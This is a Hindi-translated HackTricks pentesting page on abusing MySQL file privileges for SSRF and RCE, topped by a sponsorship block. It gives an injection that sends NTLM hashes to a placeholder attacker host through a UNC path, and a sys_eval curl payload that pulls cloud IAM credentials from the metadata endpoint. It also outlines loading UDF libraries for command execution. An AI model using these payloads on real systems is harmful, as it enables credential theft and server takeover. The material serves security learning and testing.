hacktricks/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md

47 lines
11 KiB
Markdown

# MySQL File priv से SSRF/RCE तक
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
* **अपनी हैकिंग ट्रिक्स साझा करें PRs जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में.
</details>
### LOAD\_FILE/LOAD DATA/LOAD XML से SSRF तक
हर SQL Out of Band डेटा एक्सफिल्ट्रेशन लेख `LOAD_FILE()` स्ट्रिंग फंक्शन का उपयोग करके नेटवर्क अनुरोध करेगा। इस फंक्शन की अपनी सीमाएँ होती हैं जो ऑपरेटिंग सिस्टम पर और डेटाबेस को शुरू करने के साथ सेटिंग्स पर आधारित होती हैं।
उदाहरण के लिए, यदि `secure_file_priv` ग्लोबल वेरिएबल सेट नहीं किया गया था, तो [डिफ़ॉल्ट मान `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html) पर सेट होता है, जिसका मतलब है कि आप केवल `LOAD_FILE('filename')` या `LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename` जैसे फंक्शन्स का उपयोग करके `/var/lib/mysql-files/` डायरेक्टरी से फाइलें पढ़ सकते हैं। इस डायरेक्टरी के बाहर की फाइलों को पढ़ने के लिए, `secure_file_priv` विकल्प को `""` पर सेट करना होगा जो केवल डेटाबेस कॉन्फ़िगरेशन फाइल को अपडेट करके या डेटाबेस सर्विस को स्टार्टअप पैरामीटर के रूप में `--secure_file_priv=""` पास करके किया जा सकता है।
फिर भी, जहां `secure_file_priv` `""` पर सेट है, हमें अन्य फाइलों को सिस्टम पर पढ़ने में सक्षम होना चाहिए, बशर्ते फाइल रीड परम्स और `mysql.user` में वर्तमान डेटाबेस उपयोगकर्ता के लिए `file_priv` `Y` पर सेट हो। हालांकि, इन फंक्शन्स का उपयोग करके नेटवर्क कॉल्स करने में सक्षम होना बहुत ऑपरेटिंग सिस्टम पर निर्भर करता है। चूंकि ये फंक्शन्स केवल फाइलों को पढ़ने के लिए बनाए गए हैं, इसलिए केवल नेटवर्क संबंधित कॉल्स जो किए जा सकते हैं वे Windows होस्ट्स पर UNC पथों के लिए हैं क्योंकि [Windows `CreateFileA` api जो फाइल एक्सेस करते समय कॉल की जाती है UNC नामकरण सम्मेलनों को समझती है](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file)।
तो यदि आपका लक्ष्य डेटाबेस एक Windows मशीन पर चल रहा है तो इंजेक्शन क्वेरी `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` [Windows मशीन को `\\attackerserver.example.com` के साथ प्रमाणित करने के प्रयास में NTLMv2 हैशेज भेजने का परिणाम होगा](https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html)।
यह Server Side Request Forgery, हालांकि उपयोगी है, केवल TCP पोर्ट 445 तक सीमित है। आप पोर्ट नंबर को नियंत्रित नहीं कर सकते, लेकिन पूर्ण पढ़ने की प्रिव्स के साथ सेटअप शेयरों से जानकारी पढ़ सकते हैं। इसके अलावा, पुराने शोध के साथ दिखाया गया है, आप इस सीमित SSRF क्षमता का उपयोग हैशेज चुराने और उन्हें रिले करने के लिए कर सकते हैं ताकि शेल्स प्राप्त कर सकें, इसलिए यह निश्चित रूप से उपयोगी है।
### User Defined Functions से RCE तक
MySQL डेटाबेस के साथ एक और शानदार तकनीक User Defined Functions (UDF) का उपयोग करने की क्षमता है जो बाहरी लाइब्रेरी फाइलों में मौजूद होती हैं जो यदि विशिष्ट स्थानों पर या सिस्टम $PATH में होती हैं तो MySQL के भीतर से एक्सेस की जा सकती हैं।
आप SQL इंजेक्शन का उपयोग करके एक लाइब्रेरी (`.so` या `.dll` लिनक्स या Windows पर निर्भर करता है) लिख सकते हैं, जिसमें एक User Defined Function होता है जो नेटवर्क/HTTP अनुरोध कर सकता है, जिसे अतिरिक्त क्वेरीज के माध्यम से आमंत्रित किया जा सकता है।
इसके अपने सेट की प्रतिबंध हैं। MySQL के संस्करण के आधार पर, जिसे आप `select @@version` के साथ पहचान सकते हैं, प्लगइन्स को लोड किए जाने वाले निर्देशिका प्रतिबंधित है। MySQL `v5.0.67` से नीचे के संस्करणों ने `plugin_dir` वेरिएबल सेट नहीं होने पर सिस्टम पथ से लाइब्रेरी फाइलों को लोड करने की अनुमति दी थी। अब यह बदल गया है और नए संस्करणों में **`plugin_dir`** वेरिएबल को `/usr/lib/mysql/plugin/` जैसे कुछ पर सेट किया गया है, जो आमतौर पर रूट द्वारा स्वामित्व में होता है।
मूल रूप से **आपको MySQL में एक कस्टम लाइब्रेरी लोड करने और SQL इंजेक्शन के माध्यम से लोड की गई लाइब्रेरी से एक फंक्शन को कॉल करने के लिए आपको चाहिए**:
* SQL इंजेक्शन के माध्यम से **`@@plugin_dir`** में निर्दिष्ट स्थान पर **लिखने की क्षमता**
* **`file_priv`** **`Y`** पर सेट होना चाहिए `mysql.user` में वर्तमान डेटाबेस उपयोगकर्ता के लिए
* **`secure_file_priv`** **`""`** पर सेट होना चाहिए ताकि आप नेटवर्क या वेब एप्लिकेशन में फाइल अपलोड्स निर्देशिका जैसे मनमाने स्थान से लाइब्रेरी के कच्चे बाइट्स को पढ़ सकें।
ऊपर दी गई शर्तों को पूरा करते हुए, आप **क्लासिकल दृष्टिकोण का उपयोग करके डेटाबेस सर्वर पर** [**लोकप्रिय MySQL UDF `lib_mysqludf_sys` लाइब्रेरी**](https://github.com/mysqludf/lib\_mysqludf\_sys) **को स्थानांतरित कर सकते हैं**। आप तब `cURL` या `powershell wget` जैसे ऑपरेटिंग सिस्टम कमांड अनुरोधों का उपयोग करके SSRF करने के लिए सिंटैक्स का उपयोग कर सकते हैं
`x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
इस लाइब्रेरी में घोषित कई अन्य फंक्शन्स हैं, जिनका विश्लेषण [यहाँ](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/) देखा जा सकता है। यदि आप मेरी तरह आलसी हैं, तो आप लक्ष्य OS के लिए इस UDF लाइब्रेरी की एक प्रति `/usr/share/metasploit-framework/data/exploits/mysql/` निर्देशिका से मेटास्प्लॉइट इंस्टॉलेशन से प्राप्त कर सकते हैं और शुरू कर सकते हैं